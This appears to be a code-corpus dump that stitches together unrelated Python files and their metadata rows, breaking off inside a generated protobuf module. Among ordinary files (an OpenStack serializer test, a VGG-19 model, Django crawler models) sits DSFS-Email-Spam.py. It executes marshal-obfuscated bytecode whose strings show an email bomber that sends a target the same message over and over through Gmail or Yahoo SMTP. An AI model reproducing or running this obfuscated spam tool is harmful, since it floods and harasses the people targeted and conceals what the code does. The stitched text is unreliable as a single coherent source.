self.assertEqual(media_types.tag.split('}')[1], 'media-types')
for i, media_node in enumerate(media_type_nodes):
self.assertEqual(media_node.tag.split('}')[1], 'media-type')
for key, val in version_data['version']['media-types'][i].items():
self.assertEqual(val, media_node.get(key))
for i, link in enumerate(links):
self.assertEqual(link.tag.split('}')[0].strip('{'),
'http://www.w3.org/2005/Atom')
self.assertEqual(link.tag.split('}')[1], 'link')
for key, val in version_data['version']['links'][i].items():
self.assertEqual(val, link.get(key))
def test_versions_list_atom_serializer(self):
versions_data = {
'versions': [
{
"id": "2.9.8",
"updated": "2011-07-20T11:40:00Z",
"status": "CURRENT",
"links": [
{
"rel": "self",
"href": "http://test/2.9.8",
},
],
},
]
}
serializer = versions.VersionsAtomSerializer()
response = serializer.index(versions_data)
f = feedparser.parse(response)
self.assertEqual(f.feed.title, 'Available API Versions')
self.assertEqual(f.feed.updated, '2011-07-20T11:40:00Z')
self.assertEqual(f.feed.id, 'http://test/')
self.assertEqual(f.feed.author, 'Rackspace')
self.assertEqual(f.feed.author_detail.href,
'http://www.rackspace.com/')
self.assertEqual(f.feed.links[0]['href'], 'http://test/')
self.assertEqual(f.feed.links[0]['rel'], 'self')
self.assertEqual(len(f.entries), 1)
entry = f.entries[0]
self.assertEqual(entry.id, 'http://test/2.9.8')
self.assertEqual(entry.title, 'Version 2.9.8')
self.assertEqual(entry.updated, '2011-07-20T11:40:00Z')
self.assertEqual(len(entry.content), 1)
self.assertEqual(entry.content[0].value,
'Version 2.9.8 CURRENT (2011-07-20T11:40:00Z)')
self.assertEqual(len(entry.links), 1)
self.assertEqual(entry.links[0]['href'], 'http://test/2.9.8')
self.assertEqual(entry.links[0]['rel'], 'self')
def test_version_detail_atom_serializer(self):
versions_data = {
"version": {
"id": "v1.1",
"status": "CURRENT",
"updated": "2011-01-21T11:33:21Z",
"links": [
{
"rel": "self",
"href": "http://localhost/v1.1/",
},
{
"rel": "describedby",
"type": "application/pdf",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.1/cs-devguide-20110125.pdf",
},
{
"rel": "describedby",
"type": "application/vnd.sun.wadl+xml",
"href": "http://docs.rackspacecloud.com/"
"servers/api/v1.1/application.wadl",
},
],
"media-types": [
{
"base": "application/xml",
"type": "application/vnd.openstack.compute-v1.1+xml",
},
{
"base": "application/json",
"type": "application/vnd.openstack.compute-v1.1+json",
}
],
},
}
serializer = versions.VersionsAtomSerializer()
response = serializer.show(versions_data)
f = feedparser.parse(response)
self.assertEqual(f.feed.title, 'About This Version')
self.assertEqual(f.feed.updated, '2011-01-21T11:33:21Z')
self.assertEqual(f.feed.id, 'http://localhost/v1.1/')
self.assertEqual(f.feed.author, 'Rackspace')
self.assertEqual(f.feed.author_detail.href,
'http://www.rackspace.com/')
self.assertEqual(f.feed.links[0]['href'], 'http://localhost/v1.1/')
self.assertEqual(f.feed.links[0]['rel'], 'self')
self.assertEqual(len(f.entries), 1)
entry = f.entries[0]
self.assertEqual(entry.id, 'http://localhost/v1.1/')
self.assertEqual(entry.title, 'Version v1.1')
self.assertEqual(entry.updated, '2011-01-21T11:33:21Z')
self.assertEqual(len(entry.content), 1)
self.assertEqual(entry.content[0].value,
'Version v1.1 CURRENT (2011-01-21T11:33:21Z)')
self.assertEqual(len(entry.links), 3)
self.assertEqual(entry.links[0]['href'], 'http://localhost/v1.1/')
self.assertEqual(entry.links[0]['rel'], 'self')
self.assertEqual(entry.links[1], {
'rel': 'describedby',
'type': 'application/pdf',
'href': 'http://docs.rackspacecloud.com/'
'servers/api/v1.1/cs-devguide-20110125.pdf'})
self.assertEqual(entry.links[2], {
'rel': 'describedby',
'type': 'application/vnd.sun.wadl+xml',
'href': 'http://docs.rackspacecloud.com/'
'servers/api/v1.1/application.wadl',
})
| 39.116041
| 79
| 0.491551
| 3,381
| 34,383
| 4.931973
| 0.071872
| 0.133133
| 0.050375
| 0.041979
| 0.870945
| 0.812534
| 0.782549
| 0.75994
| 0.73961
| 0.714543
| 0
| 0.042184
| 0.360178
| 34,383
| 878
| 80
| 39.160592
| 0.715805
| 0.019312
| 0
| 0.633333
| 0
| 0
| 0.233322
| 0.056372
| 0
| 0
| 0
| 0
| 0.215385
| 0
| null | null | 0
| 0.016667
| null | null | 0.001282
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1af1f3c392c4523de79a8d50da739869f73ad4a9
| 5,473
|
py
|
Python
|
model.py
|
lFatality/tensorflow2caffe
|
f03c2a47f01a0a40e3f76f1fb5d721413d39c66d
|
[
"MIT"
] | 115
|
2018-04-08T08:58:29.000Z
|
2022-01-25T07:27:13.000Z
|
model.py
|
lFatality/tensorflow2caffe
|
f03c2a47f01a0a40e3f76f1fb5d721413d39c66d
|
[
"MIT"
] | 2
|
2019-02-19T05:43:07.000Z
|
2019-07-16T09:12:01.000Z
|
model.py
|
lFatality/tensorflow2caffe
|
f03c2a47f01a0a40e3f76f1fb5d721413d39c66d
|
[
"MIT"
] | 33
|
2018-04-05T08:20:54.000Z
|
2022-03-11T12:33:27.000Z
|
from tflearn import input_data, conv_2d, max_pool_2d, fully_connected, dropout, Momentum, regression, DNN
#model of vgg-19
def vgg_net_19(width, height):
network = input_data(shape=[None, height, width, 3], name='input')
network = conv_2d(network, 64, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 64, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 128, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 128, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = fully_connected(network, 4096, activation='relu', weight_decay=5e-4)
network = dropout(network, keep_prob=0.5)
network = fully_connected(network, 4096, activation='relu', weight_decay=5e-4)
network = dropout(network, keep_prob=0.5)
network = fully_connected(network, 1000, activation='softmax', weight_decay=5e-4)
opt = Momentum(learning_rate=0, momentum = 0.9)
network = regression(network, optimizer=opt, loss='categorical_crossentropy', name='targets')
model = DNN(network, checkpoint_path='', max_checkpoints=1, tensorboard_verbose=2, tensorboard_dir='')
return model
#model of vgg-19 for testing of the activations
#rename the output you want to test, connect it to the next layer and change the output layer at the bottom (model = DNN(...))
#make sure to use the correct test function (depending if your output is a tensor or a vector)
def vgg_net_19_activations(width, height):
network = input_data(shape=[None, height, width, 3], name='input')
network1 = conv_2d(network, 64, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network2 = conv_2d(network1, 64, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network2, 2, strides=2)
network = conv_2d(network, 128, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 128, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 256, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = conv_2d(network, 512, 3, activation = 'relu', regularizer='L2', weight_decay=5e-4)
network = max_pool_2d(network, 2, strides=2)
network = fully_connected(network, 4096, activation='relu', weight_decay=5e-4)
network = dropout(network, keep_prob=0.5)
network = fully_connected(network, 4096, activation='relu', weight_decay=5e-4)
network = dropout(network, keep_prob=0.5)
network = fully_connected(network, 1000, activation='softmax', weight_decay=5e-4)
opt = Momentum(learning_rate=0, momentum = 0.9)
network = regression(network, optimizer=opt, loss='categorical_crossentropy', name='targets')
model = DNN(network1, checkpoint_path='', max_checkpoints=1, tensorboard_verbose=2, tensorboard_dir='')
return model
| 70.166667
| 126
| 0.704184
| 791
| 5,473
| 4.71555
| 0.125158
| 0.096515
| 0.13244
| 0.142627
| 0.896515
| 0.896515
| 0.896515
| 0.896515
| 0.896515
| 0.896515
| 0
| 0.076012
| 0.151471
| 5,473
| 77
| 127
| 71.077922
| 0.727175
| 0.05116
| 0
| 0.876923
| 0
| 0
| 0.056658
| 0.00925
| 0
| 0
| 0
| 0
| 0
| 1
| 0.030769
| false
| 0
| 0.015385
| 0
| 0.076923
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2110b2bac00cf37d6e46f2032cf16abfa528ca5f
| 2,269
|
py
|
Python
|
social_media_crawling/models.py
|
diahnuri/TMSS
|
3eaf3c94befc8b46d671b34f88b0e295d19d9f72
|
[
"MIT"
] | 1
|
2021-01-04T17:06:02.000Z
|
2021-01-04T17:06:02.000Z
|
social_media_crawling/models.py
|
diahnuri/TMSS
|
3eaf3c94befc8b46d671b34f88b0e295d19d9f72
|
[
"MIT"
] | null | null | null |
social_media_crawling/models.py
|
diahnuri/TMSS
|
3eaf3c94befc8b46d671b34f88b0e295d19d9f72
|
[
"MIT"
] | null | null | null |
from django.db import models
# Create your models here.
class Crawl(models.Model):
name = models.CharField(max_length=100)
content = models.CharField(max_length=140)
c_at = models.DateField()
#Retweet = models.CharField(max_length=100)
#hashtag = models.CharField(max_length=100)
def _str_(self):
return self.content, self.name
class TwitterCrawl(models.Model):
name = models.CharField(max_length=100)
tweet = models.CharField(max_length=140)
date = models.DateField()
Retweet_user = models.CharField(max_length=100, null=True)
hashtag = models.CharField(max_length=100, null = True)
def _str_(self):
return self.tweet, self.name, self.Retweet_user, self.hashtag
class TwitterTopik(models.Model):
topik = models.CharField(max_length = 150)
def _str_(self):
return self.topik
class TwitterDataset(models.Model):
name = models.CharField(max_length=100)
tweet = models.CharField(max_length=140)
date = models.DateField()
Retweet_user = models.CharField(max_length=100, null=True)
hashtag = models.CharField(max_length=100, null = True)
topik = models.ForeignKey(TwitterTopik, on_delete=models.CASCADE)
def _str_(self):
return self.tweet, self.name, self.Retweet_user, self.hashtag
class FacebookCrawl(models.Model):
name = models.CharField(max_length=100)
status = models.CharField(max_length=5000)
like = models.IntegerField(blank=True)
comment = models.IntegerField(blank=True)
share = models.IntegerField(blank=True)
def _str_(self):
return self.name, self.status, int(self.like), int(self.comment), int(self.share)
class FacebookTopik(models.Model):
topik = models.CharField(max_length=150)
# user =
class FacebookDataset(models.Model):
name = models.CharField(max_length=100)
status = models.CharField(max_length=5000)
like = models.IntegerField(blank=True)
comment = models.IntegerField(blank=True)
share = models.IntegerField(blank=True)
topik = models.ForeignKey(FacebookTopik, on_delete=models.CASCADE)
def _str_(self):
return self.name, self.status, int(self.like), int(self.comment), int(self.share)
| 33.865672
| 91
| 0.700309
| 286
| 2,269
| 5.426573
| 0.181818
| 0.173969
| 0.208763
| 0.278351
| 0.822165
| 0.761598
| 0.739691
| 0.739691
| 0.657216
| 0.630155
| 0
| 0.030369
| 0.187307
| 2,269
| 66
| 92
| 34.378788
| 0.81128
| 0.052446
| 0
| 0.702128
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.12766
| false
| 0
| 0.021277
| 0.12766
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 10
|
213c6a610e4855cc2fb97d533d51a79607f99913
| 118
|
py
|
Python
|
libaarhusxyz/__init__.py
|
emerald-geomodelling/libaarhusxyz
|
c16b49d6d71fdee5c0f4a7e67fadc3e5e6ffb5df
|
[
"MIT"
] | null | null | null |
libaarhusxyz/__init__.py
|
emerald-geomodelling/libaarhusxyz
|
c16b49d6d71fdee5c0f4a7e67fadc3e5e6ffb5df
|
[
"MIT"
] | 5
|
2021-08-13T11:28:05.000Z
|
2022-02-14T12:05:43.000Z
|
libaarhusxyz/__init__.py
|
emerald-geomodelling/libaarhusxyz
|
c16b49d6d71fdee5c0f4a7e67fadc3e5e6ffb5df
|
[
"MIT"
] | 1
|
2021-12-23T12:36:25.000Z
|
2021-12-23T12:36:25.000Z
|
from .xyz import parse
from .xyz import dump
from .sr2 import parse as parse_sr2
from .gex import parse as parse_gex
| 19.666667
| 35
| 0.788136
| 22
| 118
| 4.136364
| 0.363636
| 0.362637
| 0.285714
| 0.395604
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020619
| 0.177966
| 118
| 5
| 36
| 23.6
| 0.917526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
213dbf883785502b6cb5abdb60900efc1aa1e694
| 4,717
|
py
|
Python
|
DSFS-Email-Spam.py
|
Anon6372098/AnonEmailSpammer
|
657763dd613b123180cc80e1d0bbf5384753757e
|
[
"MIT"
] | 10
|
2018-10-29T09:17:38.000Z
|
2020-03-07T01:35:19.000Z
|
DSFS-Email-Spam.py
|
mfazrinizar/AnonEmailSpammer
|
657763dd613b123180cc80e1d0bbf5384753757e
|
[
"MIT"
] | null | null | null |
DSFS-Email-Spam.py
|
mfazrinizar/AnonEmailSpammer
|
657763dd613b123180cc80e1d0bbf5384753757e
|
[
"MIT"
] | 2
|
2020-11-19T10:49:10.000Z
|
2021-01-15T03:36:00.000Z
|
import marshal
exec(marshal.loads('''c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s\x9a\x02\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00e\x00\x00j\x04\x00d\x02\x00\x83\x01\x00\x01e\x00\x00j\x04\x00d\x03\x00\x83\x01\x00\x01Hd\x04\x00GHd\x05\x00GHd\x06\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHHy\x0b\x02d\n\x00Z\x05\x00d\x0b\x00Z\x06\x00d\x0c\x00Z\x07\x00e\x08\x00d\r\x00\x83\x01\x00Z\t\x00e\t\x00d\x0e\x00k\x02\x00s\xa3\x00e\t\x00d\x0f\x00k\x02\x00r\xb8\x00d\x10\x00Z\n\x00d\x11\x00Z\x0b\x00d\x0e\x00Z\x0c\x00nD\x00e\t\x00d\x12\x00k\x02\x00s\xd0\x00e\t\x00d\x13\x00k\x02\x00r\xe5\x00d\x14\x00Z\n\x00d\x15\x00Z\x0b\x00d\x12\x00Z\x0c\x00n\x17\x00e\x06\x00d\x16\x00\x17e\x05\x00\x17GHe\x01\x00j\r\x00\x83\x00\x00\x01e\x08\x00d\x17\x00\x83\x01\x00Z\x0e\x00e\x03\x00j\x03\x00d\x18\x00\x83\x01\x00Z\x0f\x00e\x08\x00d\x19\x00\x83\x01\x00Z\x10\x00e\x08\x00d\x1a\x00\x83\x01\x00Z\x11\x00e\x08\x00d\x1b\x00\x83\x01\x00Z\x12\x00e\x13\x00d\x1c\x00\x83\x01\x00Z\x14\x00y\xd8\x00e\x02\x00j\x15\x00e\n\x00e\x0b\x00\x83\x02\x00Z\t\x00e\t\x00j\x16\x00\x83\x00\x00\x01e\x0c\x00d\x0e\x00k\x02\x00r\x7f\x01e\t\x00j\x17\x00\x83\x00\x00\x01n\x00\x00e\t\x00j\x18\x00e\x0e\x00e\x0f\x00\x83\x02\x00\x01d\x1d\x00j\x19\x00e\x10\x00\x83\x01\x00GHxg\x00e\x1a\x00d\x1e\x00e\x14\x00d\x1e\x00\x17\x83\x02\x00D]R\x00Z\x1b\x00d\x1f\x00e\x0e\x00\x17d \x00\x17e\x11\x00\x17d!\x00\x17e\x12\x00\x17Z\x1c\x00e\t\x00j\x1d\x00e\x0e\x00e\x10\x00e\x1c\x00\x83\x03\x00\x01e\x07\x00d"\x00j\x19\x00e\x1b\x00\x83\x01\x00\x17GHe\x01\x00j\x1e\x00j\x1f\x00\x83\x00\x00\x01q\xb1\x01We\t\x00j \x00\x83\x00\x00\x01e\x06\x00d#\x00\x17e\x05\x00\x17GHWnR\x00\x04e!\x00k\n\x00rI\x02\x01\x01\x01e\x06\x00d$\x00\x17e\x05\x00\x17GHe\x01\x00j\r\x00\x83\x00\x00\x01n+\x00\x04e\x02\x00j"\x00k\n\x00rs\x02\x01\x01\x01e\x06\x00d%\x00\x17e\x05\x00\x17GHe\x01\x00j\r\x00\x83\x00\x00\x01n\x01\x00XWn\x1e\x00\x04e\x02\x00j"\x00k\n\x00r\x95\x02\x01\x01\x01e\x01\x00j\r\x00\x83\x00\x00\x01n\x01\x00Xd\x01\x00S(&\x00\x00\x00i\xff\xff\xff\xffNt\x05\x00\x00\x00clears\x10\x00\x00\x00figlet SPAM DSFSs\x17\x00\x00\x00Creator : Anon6372098sa\x00\x00\x00You Tube : https://www.youtube.com/channel/UC6z-i5NX934RvX7BWr3MlJw (D4RK SYST3M F41LUR3 S33K3R)s*\x00\x00\x00Github : https://github.com/Anon6372098s!\x00\x00\x00Email : anon6372098@gmail.coms-\x00\x00\x00Team. : D4RK SYST3M F41LUR3 S33K3R (DSFS)s\x1b\x00\x00\x00Thanks to : Tuan c4rt00nw4rs\x04\x00\x00\x00\x1b[0ms\x05\x00\x00\x00\x1b[31ms\x05\x00\x00\x00\x1b[32ms\x19\x00\x00\x00Mail-Server Gmail/Yahoo: t\x05\x00\x00\x00gmailt\x05\x00\x00\x00Gmails\x0e\x00\x00\x00smtp.gmail.comiK\x02\x00\x00t\x05\x00\x00\x00yahoot\x05\x00\x00\x00Yahoos\x13\x00\x00\x00smtp.mail.yahoo.comi\x19\x00\x00\x00s1\x00\x00\x00Error - This script only works on Gmail or Yahoo.s\x07\x00\x00\x00Email: s\n\x00\x00\x00Password: s\x05\x00\x00\x00\nTo: s\t\x00\x00\x00Subject: s\t\x00\x00\x00Message: s\x14\x00\x00\x00Amount of Sendings: s\x14\x00\x00\x00\n\n\n - Target : {} -\ni\x01\x00\x00\x00s\x06\x00\x00\x00From: s\n\x00\x00\x00\nSubject: s\x01\x00\x00\x00\ns\x10\x00\x00\x00\rEmail Sent - {}s\x17\x00\x00\x00\n\n-Proccess Terminated-s\x1b\x00\x00\x00\nError - Keyboard InterruptsT\x00\x00\x00\nError - Authentication error, Are you sure the password or the username is correct?(#\x00\x00\x00t\x02\x00\x00\x00ost\x03\x00\x00\x00syst\x07\x00\x00\x00smtplibt\x07\x00\x00\x00getpasst\x06\x00\x00\x00systemt\x01\x00\x00\x00Wt\x01\x00\x00\x00Rt\x01\x00\x00\x00Gt\t\x00\x00\x00raw_inputt\x06\x00\x00\x00servert\x0b\x00\x00\x00smtp_servert\x04\x00\x00\x00portt\n\x00\x00\x00set_servert\x04\x00\x00\x00exitt\n\x00\x00\x00email_usert\x06\x00\x00\x00passwdt\x08\x00\x00\x00email_tot\x07\x00\x00\x00subjectt\x04\x00\x00\x00bodyt\x05\x00\x00\x00inputt\x05\x00\x00\x00totalt\x04\x00\x00\x00SMTPt\x04\x00\x00\x00ehlot\x08\x00\x00\x00starttlst\x05\x00\x00\x00logint\x06\x00\x00\x00formatt\x05\x00\x00\x00ranget\x01\x00\x00\x00it\x03\x00\x00\x00msgt\x08\x00\x00\x00sendmailt\x06\x00\x00\x00stdoutt\x05\x00\x00\x00flusht\x04\x00\x00\x00quitt\x11\x00\x00\x00KeyboardInterruptt\x17\x00\x00\x00SMTPAuthenticationError(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x06\x00\x00\x00<seni>t\x08\x00\x00\x00<module>\x03\x00\x00\x00sj\x00\x00\x000\x02\r\x01\r\x01\x01\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x05\x01\x01\x02\x03\x02\x06\x01\x06\x01\x06\x02\x0c\x02\x18\x02\x06\x01\x06\x01\t\x02\x18\x02\x06\x01\x06\x01\t\x04\r\x01\n\x02\x0c\x01\x0f\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x02\x03\x02\x12\x01\n\x02\x0c\x01\r\x02\x10\x02\x0e\x02\x1a\x02\x1a\x02\x13\x02\x12\x02\x11\x02\n\x02\x11\x03\r\x02\r\x01\r\x02\x10\x02\r\x01\x12\x02\x10\x02'''))
| 2,358.5
| 4,702
| 0.771041
| 992
| 4,717
| 3.66129
| 0.207661
| 0.194934
| 0.076817
| 0.049559
| 0.197412
| 0.146751
| 0.098844
| 0.092236
| 0.073513
| 0.065253
| 0
| 0.359118
| 0.018868
| 4,717
| 2
| 4,702
| 2,358.5
| 0.42567
| 0
| 0
| 0
| 0
| 0.5
| 0.990886
| 0.909072
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 11
|
21473adc75cb97812454f1cf89ee6182bc74876b
| 87,569
|
py
|
Python
|
sdk/python/tensorflow_metadata/proto/v0/statistics_pb2.py
|
Mwad22/feast
|
6a09d49e2e7bc105c86f1789c765d89e452af0b0
|
[
"Apache-2.0"
] | 1
|
2021-09-16T16:17:58.000Z
|
2021-09-16T16:17:58.000Z
|
sdk/python/tensorflow_metadata/proto/v0/statistics_pb2.py
|
Mwad22/feast
|
6a09d49e2e7bc105c86f1789c765d89e452af0b0
|
[
"Apache-2.0"
] | 4
|
2021-07-21T22:33:16.000Z
|
2022-03-17T22:47:02.000Z
|
sdk/python/tensorflow_metadata/proto/v0/statistics_pb2.py
|
Mwad22/feast
|
6a09d49e2e7bc105c86f1789c765d89e452af0b0
|
[
"Apache-2.0"
] | 2
|
2021-07-26T14:10:47.000Z
|
2021-08-11T11:12:05.000Z
|
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: tensorflow_metadata/proto/v0/statistics.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from tensorflow_metadata.proto.v0 import path_pb2 as tensorflow__metadata_dot_proto_dot_v0_dot_path__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='tensorflow_metadata/proto/v0/statistics.proto',
package='tensorflow.metadata.v0',
syntax='proto3',
serialized_options=b'\n\032org.tensorflow.metadata.v0P\001ZEgithub.com/feast-dev/feast/sdk/go/protos/tensorflow_metadata/proto/v0\370\001\001',
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n-tensorflow_metadata/proto/v0/statistics.proto\x12\x16tensorflow.metadata.v0\x1a\'tensorflow_metadata/proto/v0/path.proto\"b\n\x1c\x44\x61tasetFeatureStatisticsList\x12\x42\n\x08\x64\x61tasets\x18\x01 \x03(\x0b\x32\x30.tensorflow.metadata.v0.DatasetFeatureStatistics\"\xe6\x01\n\x18\x44\x61tasetFeatureStatistics\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x14\n\x0cnum_examples\x18\x02 \x01(\x04\x12\x1d\n\x15weighted_num_examples\x18\x04 \x01(\x01\x12?\n\x08\x66\x65\x61tures\x18\x03 \x03(\x0b\x32-.tensorflow.metadata.v0.FeatureNameStatistics\x12\x46\n\x0e\x63ross_features\x18\x05 \x03(\x0b\x32..tensorflow.metadata.v0.CrossFeatureStatistics\"\xb4\x02\n\x16\x43rossFeatureStatistics\x12,\n\x06path_x\x18\x01 \x01(\x0b\x32\x1c.tensorflow.metadata.v0.Path\x12,\n\x06path_y\x18\x02 \x01(\x0b\x32\x1c.tensorflow.metadata.v0.Path\x12\r\n\x05\x63ount\x18\x03 \x01(\x04\x12I\n\x0fnum_cross_stats\x18\x04 \x01(\x0b\x32..tensorflow.metadata.v0.NumericCrossStatisticsH\x00\x12U\n\x17\x63\x61tegorical_cross_stats\x18\x05 \x01(\x0b\x32\x32.tensorflow.metadata.v0.CategoricalCrossStatisticsH\x00\x42\r\n\x0b\x63ross_stats\"A\n\x16NumericCrossStatistics\x12\x13\n\x0b\x63orrelation\x18\x01 \x01(\x02\x12\x12\n\ncovariance\x18\x02 \x01(\x02\"R\n\x1a\x43\x61tegoricalCrossStatistics\x12\x34\n\x04lift\x18\x01 \x01(\x0b\x32&.tensorflow.metadata.v0.LiftStatistics\"\x8b\x01\n\x0eLiftStatistics\x12\x37\n\x0blift_series\x18\x01 \x03(\x0b\x32\".tensorflow.metadata.v0.LiftSeries\x12@\n\x14weighted_lift_series\x18\x02 \x03(\x0b\x32\".tensorflow.metadata.v0.LiftSeries\"\x8d\x04\n\nLiftSeries\x12\x0f\n\x05y_int\x18\x01 \x01(\x05H\x00\x12\x12\n\x08y_string\x18\x02 \x01(\tH\x00\x12=\n\x08y_bucket\x18\x03 \x01(\x0b\x32).tensorflow.metadata.v0.LiftSeries.BucketH\x00\x12\x11\n\x07y_count\x18\x04 \x01(\x04H\x01\x12\x1a\n\x10weighted_y_count\x18\x05 \x01(\x01H\x01\x12\x41\n\x0blift_values\x18\x06 \x03(\x0b\x32,.tensorflow.metadata.v0.LiftSeries.LiftValue\x1a/\n\x06\x42ucket\x12\x11\n\tlow_value\x18\x01 \x01(\x01\x12\x12\n\nhigh_value\x18\x02 \x01(\x01\x1a\xdb\x01\n\tLiftValue\x12\x0f\n\x05x_int\x18\x01 \x01(\x05H\x00\x12\x12\n\x08x_string\x18\x02 \x01(\tH\x00\x12\x0c\n\x04lift\x18\x03 \x01(\x01\x12\x11\n\x07x_count\x18\x04 \x01(\x04H\x01\x12\x1a\n\x10weighted_x_count\x18\x05 \x01(\x01H\x01\x12\x17\n\rx_and_y_count\x18\x06 \x01(\x04H\x02\x12 \n\x16weighted_x_and_y_count\x18\x07 \x01(\x01H\x02\x42\t\n\x07x_valueB\x0f\n\rx_count_valueB\x15\n\x13x_and_y_count_valueB\t\n\x07y_valueB\x0f\n\ry_count_value\"\xae\x04\n\x15\x46\x65\x61tureNameStatistics\x12\x0e\n\x04name\x18\x01 \x01(\tH\x00\x12,\n\x04path\x18\x08 \x01(\x0b\x32\x1c.tensorflow.metadata.v0.PathH\x00\x12@\n\x04type\x18\x02 \x01(\x0e\x32\x32.tensorflow.metadata.v0.FeatureNameStatistics.Type\x12>\n\tnum_stats\x18\x03 \x01(\x0b\x32).tensorflow.metadata.v0.NumericStatisticsH\x01\x12@\n\x0cstring_stats\x18\x04 \x01(\x0b\x32(.tensorflow.metadata.v0.StringStatisticsH\x01\x12>\n\x0b\x62ytes_stats\x18\x05 \x01(\x0b\x32\'.tensorflow.metadata.v0.BytesStatisticsH\x01\x12@\n\x0cstruct_stats\x18\x07 